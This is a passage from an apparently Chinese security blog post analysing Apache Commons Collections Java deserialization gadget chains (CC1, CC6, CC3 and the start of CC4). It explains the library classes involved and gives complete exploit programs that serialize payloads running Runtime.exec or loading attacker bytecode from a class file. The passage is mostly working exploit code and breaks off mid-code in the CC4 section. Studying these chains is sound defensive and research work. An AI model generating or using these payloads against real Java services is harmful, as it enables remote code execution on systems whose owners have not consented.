class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Throwable {<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br> };<br> <span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br> HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> <span class="hljs-type">Map</span> <span class="hljs-variable">lazyMap</span> <span class="hljs-operator">=</span> LazyMap.decorate(map, chainedTransformer);<br> Constructor<?> declaredConstructor = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>).getDeclaredConstructor(Class.class, Map.class);<br> declaredConstructor.setAccessible(<span class="hljs-literal">true</span>);<br> <span class="hljs-type">InvocationHandler</span> <span class="hljs-variable">handler</span> <span class="hljs-operator">=</span> (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap);<br> <span class="hljs-type">Map</span> <span class="hljs-variable">m</span> <span class="hljs-operator">=</span> (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> declaredConstructor.newInstance(Override.class, m);<br> serialize(o);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="CC6"><a href="#CC6" class="headerlink" title="CC6"></a>CC6</h3><p>漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链</p><p>CC6与CC1的区别在于入口点处发生改变,后面从LazyMap开始都是一样的。</p><p>注意到TiedMapEntry类中,hashCode方法调用了getValue,getValue调用了get函数,达到LazyMap的get方法调用。TiedMapEntry类主要代码如下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">TiedMapEntry</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Map</span>.Entry, KeyValue, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Map map;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Object key;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">TiedMapEntry</span><span class="hljs-params">(Map map, Object key)</span> {<br> <span class="hljs-built_in">super</span>();<br> <span class="hljs-built_in">this</span>.map = map;<br> <span class="hljs-built_in">this</span>.key = key;<br> }<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">getValue</span><span class="hljs-params">()</span> {<br> <span class="hljs-keyword">return</span> map.get(key);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-type">int</span> <span class="hljs-title function_">hashCode</span><span class="hljs-params">()</span> {<br> <span class="hljs-type">Object</span> <span class="hljs-variable">value</span> <span class="hljs-operator">=</span> getValue();<br> <span class="hljs-keyword">return</span> (getKey() == <span class="hljs-literal">null</span> ? <span class="hljs-number">0</span> : getKey().hashCode()) ^ (value == <span class="hljs-literal">null</span> ? <span class="hljs-number">0</span> : value.hashCode()); <br> }<br>}<br></code></pre></td></tr></table></figure><p>而HashMap类中反序列化时会调用hashCode,可以参考URLDNS链来完成入口点处。HashMap类主要代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">HashMap</span><K,V> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">AbstractMap</span><K,V> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Map</span><K,V>, Cloneable, Serializable {<br> <span class="hljs-keyword">static</span> <span class="hljs-keyword">final</span> <span class="hljs-type">int</span> <span class="hljs-title function_">hash</span><span class="hljs-params">(Object key)</span> {<br> <span class="hljs-type">int</span> h;<br> <span class="hljs-keyword">return</span> (key == <span class="hljs-literal">null</span>) ? <span class="hljs-number">0</span> : (h = key.hashCode()) ^ (h >>> <span class="hljs-number">16</span>);<br> }<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">readObject</span><span class="hljs-params">(java.io.ObjectInputStream s)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> ...;<br> <span class="hljs-keyword">if</span> (...) {<br> <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i < mappings; i++) {<br> <span class="hljs-meta">@SuppressWarnings("unchecked")</span><br> <span class="hljs-type">K</span> <span class="hljs-variable">key</span> <span class="hljs-operator">=</span> (K) s.readObject();<br> <span class="hljs-meta">@SuppressWarnings("unchecked")</span><br> <span class="hljs-type">V</span> <span class="hljs-variable">value</span> <span class="hljs-operator">=</span> (V) s.readObject();<br> putVal(hash(key), key, value, <span class="hljs-literal">false</span>, <span class="hljs-literal">false</span>);<br> }<br> }<br> }<br></code></pre></td></tr></table></figure><p>进而可以编写CC6调用链,其中lazyMap.remove(“aaa”)是因为put方法会调用HashCode,将aaa值插入到LazyMap,导致反序列化无法正常调用,反射更改factory是为了防止命令在本地执行。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC6</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception {<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(Runtime.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class, Class[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Object.class, Object[].class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-literal">null</span>, <span class="hljs-literal">null</span>}),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InvokerTransformer</span>(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{String.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{<span class="hljs-string">"calc"</span>})<br> };<br> <span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br> HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> <span class="hljs-type">Map</span> <span class="hljs-variable">lazyMap</span> <span class="hljs-operator">=</span> LazyMap.decorate(map, <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(<span class="hljs-string">"ccc"</span>));<br> <span class="hljs-type">TiedMapEntry</span> <span class="hljs-variable">tiedMapEntry</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TiedMapEntry</span>(lazyMap, <span class="hljs-string">"aaa"</span>);<br> HashMap<Object, Object> o = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> o.put(tiedMapEntry, <span class="hljs-string">"bbb"</span>);<br> lazyMap.remove(<span class="hljs-string">"aaa"</span>);<br><br> Class<LazyMap> lazyMapClass = LazyMap.class;<br> <span class="hljs-type">Field</span> <span class="hljs-variable">factory</span> <span class="hljs-operator">=</span> lazyMapClass.getDeclaredField(<span class="hljs-string">"factory"</span>);<br> factory.setAccessible(<span class="hljs-literal">true</span>);<br> factory.set(lazyMap, chainedTransformer);<br><br> serialize(o);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="CC3"><a href="#CC3" class="headerlink" title="CC3"></a>CC3</h3><p>还是在CC1的基础上进行改进,CC1链中只能通过反射来调用命令,CC3中引入了TemplatesImpl类进行任意类加载调用静态代码块,去除了一些限制。先看一下TemplatesImpl类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">final</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">TemplatesImpl</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Templates</span>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-type">String</span> <span class="hljs-variable">ABSTRACT_TRANSLET</span> <span class="hljs-operator">=</span> <span class="hljs-string">"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"</span>;<br> <span class="hljs-keyword">private</span> <span class="hljs-type">String</span> <span class="hljs-variable">_name</span> <span class="hljs-operator">=</span> <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">private</span> <span class="hljs-type">byte</span>[][] _bytecodes = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">private</span> Class[] _class = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">private</span> <span class="hljs-type">int</span> <span class="hljs-variable">_transletIndex</span> <span class="hljs-operator">=</span> -<span class="hljs-number">1</span>;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">transient</span> Map<String, Class<?>> _auxClasses = <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">transient</span> <span class="hljs-type">TransformerFactoryImpl</span> <span class="hljs-variable">_tfactory</span> <span class="hljs-operator">=</span> <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">TemplatesImpl</span><span class="hljs-params">()</span> { }<br> <span class="hljs-keyword">private</span> Translet <span class="hljs-title function_">getTransletInstance</span><span class="hljs-params">()</span><br> <span class="hljs-keyword">throws</span> TransformerConfigurationException {<br> <span class="hljs-keyword">try</span> {<br> <span class="hljs-keyword">if</span> (_name == <span class="hljs-literal">null</span>) <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;<br> <span class="hljs-keyword">if</span> (_class == <span class="hljs-literal">null</span>) defineTransletClasses();<br> <span class="hljs-type">AbstractTranslet</span> <span class="hljs-variable">translet</span> <span class="hljs-operator">=</span> (AbstractTranslet) _class[_transletIndex].newInstance();<br> translet.postInitialization();<br> translet.setTemplates(<span class="hljs-built_in">this</span>);<br> translet.setServicesMechnism(_useServicesMechanism);<br> translet.setAllowedProtocols(_accessExternalStylesheet);<br> <span class="hljs-keyword">if</span> (_auxClasses != <span class="hljs-literal">null</span>) {<br> translet.setAuxiliaryClasses(_auxClasses);<br> }<br> <span class="hljs-keyword">return</span> translet;<br> }<br> <span class="hljs-keyword">catch</span> (...Exception e) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ...Exception(err.toString());<br> }<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">synchronized</span> Transformer <span class="hljs-title function_">newTransformer</span><span class="hljs-params">()</span> <span class="hljs-keyword">throws</span> TransformerConfigurationException {<br> TransformerImpl transformer;<br> transformer = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformerImpl</span>(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);<br> <span class="hljs-keyword">if</span> (_uriResolver != <span class="hljs-literal">null</span>) {<br> transformer.setURIResolver(_uriResolver);<br> }<br> <span class="hljs-keyword">if</span> (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {<br> transformer.setSecureProcessing(<span class="hljs-literal">true</span>);<br> }<br> <span class="hljs-keyword">return</span> transformer;<br> }<br>}<br></code></pre></td></tr></table></figure><p>TrAXFilter类中的构造函数中调用了newTransformer方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">TrAXFilter</span> <span class="hljs-keyword">extends</span> <span class="hljs-title class_">XMLFilterImpl</span> {<br> <span class="hljs-keyword">private</span> Templates _templates;<br> <span class="hljs-keyword">private</span> TransformerImpl _transformer;<br> <span class="hljs-keyword">private</span> TransformerHandlerImpl _transformerHandler;<br> <span class="hljs-keyword">private</span> <span class="hljs-type">boolean</span> <span class="hljs-variable">_useServicesMechanism</span> <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">TrAXFilter</span><span class="hljs-params">(Templates templates)</span> <span class="hljs-keyword">throws</span> TransformerConfigurationException {<br> _templates = templates;<br> _transformer = (TransformerImpl) templates.newTransformer();<br> _transformerHandler = <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformerHandlerImpl</span>(_transformer);<br> _useServicesMechanism = _transformer.useServicesMechnism();<br> }<br>}<br></code></pre></td></tr></table></figure><p>看起来已经可以完成这条链了,但是CC3中引入了一个新的Transformer类:InstantiateTransformer,其主要功能是反射调用一个类的构造函数并执行,主要代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">InstantiateTransformer</span> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Transformer</span>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Class[] iParamTypes;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Object[] iArgs;<br> <span class="hljs-keyword">public</span> Object <span class="hljs-title function_">transform</span><span class="hljs-params">(Object input)</span> {<br> <span class="hljs-keyword">try</span> {<br> <span class="hljs-keyword">if</span> (input <span class="hljs-keyword">instanceof</span> Class == <span class="hljs-literal">false</span>) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FunctorException</span>(...);<br> }<br> <span class="hljs-type">Constructor</span> <span class="hljs-variable">con</span> <span class="hljs-operator">=</span> ((Class) input).getConstructor(iParamTypes);<br> <span class="hljs-keyword">return</span> con.newInstance(iArgs);<br> } <span class="hljs-keyword">catch</span> (...Exception ex) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ...Exception(<span class="hljs-string">"..."</span>, ex);<br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>于是可以完成CC3链的代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">CC3</span> {<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception {<br> <span class="hljs-type">TemplatesImpl</span> <span class="hljs-variable">templates</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">TemplatesImpl</span>();<br> Class<? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">TemplatesImpl</span>> tc = templates.getClass();<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">nameField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_name"</span>);<br> nameField.setAccessible(<span class="hljs-literal">true</span>);<br> nameField.set(templates, <span class="hljs-string">"foo"</span>);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">bytecodesField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_bytecodes"</span>);<br> bytecodesField.setAccessible(<span class="hljs-literal">true</span>);<br> <span class="hljs-type">byte</span>[] code = Files.readAllBytes(Paths.get(<span class="hljs-string">"hack.class"</span>));<br> <span class="hljs-type">byte</span>[][] codes = {code};<br> bytecodesField.set(templates, codes);<br><br> <span class="hljs-type">Field</span> <span class="hljs-variable">tfactoryField</span> <span class="hljs-operator">=</span> tc.getDeclaredField(<span class="hljs-string">"_tfactory"</span>);<br> tfactoryField.setAccessible(<span class="hljs-literal">true</span>);<br> tfactoryField.set(templates, <span class="hljs-keyword">new</span> <span class="hljs-title class_">TransformerFactoryImpl</span>());<br> Transformer[] transformers = {<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ConstantTransformer</span>(TrAXFilter.class),<br> <span class="hljs-keyword">new</span> <span class="hljs-title class_">InstantiateTransformer</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">Class</span>[]{Templates.class}, <span class="hljs-keyword">new</span> <span class="hljs-title class_">Object</span>[]{templates})<br> };<br> <span class="hljs-type">ChainedTransformer</span> <span class="hljs-variable">chainedTransformer</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ChainedTransformer</span>(transformers);<br> HashMap<Object, Object> map = <span class="hljs-keyword">new</span> <span class="hljs-title class_">HashMap</span><>();<br> map.put(<span class="hljs-string">"value"</span>, <span class="hljs-string">"value"</span>);<br> <span class="hljs-type">Map</span> <span class="hljs-variable">transformedMap</span> <span class="hljs-operator">=</span> TransformedMap.decorate(map, <span class="hljs-literal">null</span>, chainedTransformer);<br> Constructor<?> declaredConstructor = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>).getDeclaredConstructor(Class.class, Map.class);<br> declaredConstructor.setAccessible(<span class="hljs-literal">true</span>);<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> declaredConstructor.newInstance(Retention.class, transformedMap);<br> serialize(o);<br> deserialize(<span class="hljs-string">"hack.bin"</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title function_">deserialize</span><span class="hljs-params">(String filename)</span> <span class="hljs-keyword">throws</span> IOException, ClassNotFoundException {<br> <span class="hljs-type">ObjectInputStream</span> <span class="hljs-variable">ois</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectInputStream</span>(<span class="hljs-keyword">new</span> <span class="hljs-title class_">FileInputStream</span>(filename));<br> <span class="hljs-type">Object</span> <span class="hljs-variable">o</span> <span class="hljs-operator">=</span> ois.readObject();<br> <span class="hljs-keyword">return</span> o;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">serialize</span><span class="hljs-params">(Object o)</span> <span class="hljs-keyword">throws</span> IOException {<br> <span class="hljs-type">FileOutputStream</span> <span class="hljs-variable">fileOutputStream</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">FileOutputStream</span>(<span class="hljs-string">"hack.bin"</span>);<br> <span class="hljs-type">ObjectOutputStream</span> <span class="hljs-variable">out</span> <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-title class_">ObjectOutputStream</span>(fileOutputStream);<br> out.writeObject(o);<br> out.close();<br> fileOutputStream.close();<br> }<br>}<br></code></pre></td></tr></table></figure><h3 id="CC4"><a href="#CC4" class="headerlink" title="CC4"></a>CC4</h3><p>从CC4开始,进入到commons collections4的环境中</p><p>CC4调用链的后半部分与CC3无大致差别,依旧是ChainedTransformer调用InstantiateTransformer来加载代码。</p><p>在TransformingComparator类中compare方法中调用了transform函数</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">class</span> <span class="hljs-title class_">TransformingComparator</span><I, O> <span class="hljs-keyword">implements</span> <span class="hljs-title class_">Comparator</span><I>, Serializable {<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Comparator<O> decorated;<br> <span class="hljs-keyword">private</span> <span class="hljs-keyword">final</span> Transformer<? <span class="hljs-built_in">super</span> I, ? <span class="hljs-keyword">extends</span> <span class="hljs-title class_">O</span>> transformer;<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">TransformingComparator</span><span class="hljs-params">(<span class="hljs-keyword">final</span> Transformer<? <span class="hljs-built_in">super</span> I, ? extends O> transformer)</span> {<br> <span class="hljs-built_in">this</span>(transformer, ComparatorUtils.NATURAL_COMPARATOR);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-title function_">TransformingComparator</span><span class="hljs-params">(<span class="hljs-keyword">final</span> Transformer<? <span class="hljs-built_in">super</span> I, ? extends O> transformer, <span class="hljs-keyword">final</span> Comparator<O> decorated)</span> {<br> <span class="hljs-built_in">this</span>.decorated = decorated;<br> <span class="hljs-built_in">this</span>.transformer = transformer;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-type">int</span> <span class="hljs-title function_">compare</span><span class="hljs-params">(<span class="hljs-keyword">final</span> I obj1, <span class="hljs-keyword">final</span> I obj2)</span> {<br> <span class="hljs-keyword">final</span> <span class="hljs-type">O</span> <span class="hljs-variable">value1</span> <span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.transformer.transform(obj1);<br> <span class="hljs-keyword">final</span> <span class="hljs-type">O</span> <span class="hljs-variable">value2</span> <span class="hljs-operator">=</span> <span 